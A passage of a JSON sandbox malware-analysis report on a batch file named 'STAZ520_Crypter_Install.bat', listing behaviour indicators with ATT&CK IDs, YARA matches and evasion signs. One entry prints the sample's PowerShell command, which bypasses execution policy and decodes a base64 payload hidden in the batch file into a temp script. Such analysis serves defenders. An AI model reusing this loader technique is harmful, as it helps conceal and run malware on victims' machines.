Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$38","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134066914209726639.1132.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134066923205482645.3984.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134066929284379487.8016.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$39","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 36FB0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 5ACC0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 691E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 68370000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 691E0000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 68370000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 68370000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 691E0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 393D0000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 393D0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 69470000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 69470000\n \"reg.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 69470000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 69470000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 69470000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00000000002042d768fe7f0000@ntdll.dll\"\n \"22002300000000004042d768fe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"STAZ520_Crypter_Install.bat\" was detected as \"plain text\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"powershell.exe\" touched \"Windows Defender IOfficeAntiVirus implementation\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\INPROCSERVER32\")\n \"powershell.exe\" touched \"NDP SymBinder\" (Path: \"HKCU\\CLSID\\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\\INPROCSERVER32\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3c","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$3f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$40","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_jiokcb5i.evl.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qeqb4m2e.txf.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_onkt4v5k.4r3.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_4qcchjtf.j01.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ps_f8c40b9e.ps1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","description":"$41","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"Found string \"function New-TemporaryFile\" (Indicator: \"New-TemporaryFile\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$42","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 2212)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"cmd.exe\" reads file \"c:\\staz520_crypter_install.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"cmd.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\en-US\\cmd.exe.mui\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\system32\\CRYPTSP.DLL\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"\n \"cmd.exe\" trying to touch file \"\\Global??\\FltMgrMsg\"\n \"cmd.exe\" trying to touch file \"C:\\\"\n \"cmd.exe\" trying to touch file \"C:\\\"C:\\STAZ520_Crypter_Install.bat\"\"\n \"cmd.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\cmdext.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\cmdext.dll\"\n \"cmd.exe\" trying to touch file \"C:\\Windows\\System32\\AppLocker\\MDM\"\n \"cmd.exe\" trying to touch file \"C:\\STAZ520_Crypter_Install.bat\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$47","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Network Related","name":"Able to check internet connectivity using ping command","description":"file/memory contains long string with (Indicator: \"ping -\"; File: \"STAZ520_Crypter_Install.bat\")\n Found string \"ping -n 2 127.0.0.1 >nul\" (Indicator: \"ping -\"; File: \"STAZ520_Crypter_Install.bat\")","origin":"File/Memory","mitre_attack_id":"T1016.001","relevance":1,"id":"string-5070","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"127.0.0.1\" found in string \"ping -n 2 127.0.0.1 >nul\"\n \"2.5.29.37\"\n \"2.5.29.35\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"192.168.0.2\"\n \"2.5.29.31\"\n \"2.5.29.1\"\n \"2.5.29.14\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.15\"\n \"2.5.4.3\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.10\"\n \"2.5.29.17\"\n Potential IP \"3.0.0.0\" found in string \"icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"2.5.4.10\"\n \"2.5.4.6\"\n \"2.5.4.8\"\n \"2.5.4.5\"\n \"2.5.4.11\"\n \"2.5.4.7\"\n Potential IP \"4.0.0.0\" found in string \"4.0.0.0,\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file process \"00000000-00007468\"\n YARA signature to detect medium entropy file process \"00000000-00008016\"\n YARA signature to detect medium entropy file process \"00000000-00003984\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":5,"id":"yara-606","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00003984\"\n YARA signature for detecting PowerShell file matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on process \"00000000-00007468\"\n YARA signature for RC4 encryption matched on process \"00000000-00008016\"\n YARA signature for RC4 encryption matched on process \"00000000-00003984\"","origin":"YARA Signature","mitre_attack_id":"T1027","id":"yara-104","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00008016\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEB59768D391B80109F0B7301049E7]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001132.00000000.134891.5C440000.00000004.mdmp, 00000000-00001132.00000001.135191.5C470000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE71CECAD3BCAE3371F03F6B9BBB09]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001132.00000000.134891.5C440000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00001132.00000001.135191.D9EB0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"\n Found registry query API: \"RegGetValueW\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell -NoProfile -ExecutionPolicy Bypass -Command \"try { $content = Get-Content -LiteralPath 'C:\\\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}\"\" (UID: 00000000-00003984)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"reg.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001132)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003984)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008016)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"},{"report_type":"sandbox","report_id":"6908db8ced9b8a1d810d386a"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found string \"$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00001132.00000001.135191.76850000.00000004.mdmp\")\n Found string \"$foundAccess | Sort-Object\" (Indicator: \"Sort-Object\"; Source: \"00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6908db75ff33b7c6cf06df33"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: 